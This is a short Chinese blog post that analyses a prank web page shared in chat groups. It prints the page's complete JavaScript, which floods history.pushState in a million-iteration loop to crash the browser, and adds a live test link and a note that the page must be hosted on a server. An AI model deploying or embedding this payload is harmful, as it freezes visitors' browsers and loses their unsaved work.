解析那些让浏览器崩溃甚至电脑死机的javascript代码

最近在群里看到网友分享的链接,打开一看电脑卡死,只能关机作罢!

代码如下:

<html>
<head>
<meta charset="utf-8">
<title>谁点谁怀孕</title>
</head>
    <body>
恭喜你,你已经怀孕了!
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
    </body>
</html>

如上代码,首先声明total变量,然后一个for死循环,不断给total赋值,同时用history.pushState来无刷新改变页面,轰炸浏览器历史记录,最终达到资源不断耗尽.

 

无数浏览器历史记录:

测试地址:http://zhilan.net/no.html  (慎重!如需进入请保存好当前文档!)

注意以上代码在本地运行无效,必须上传服务器.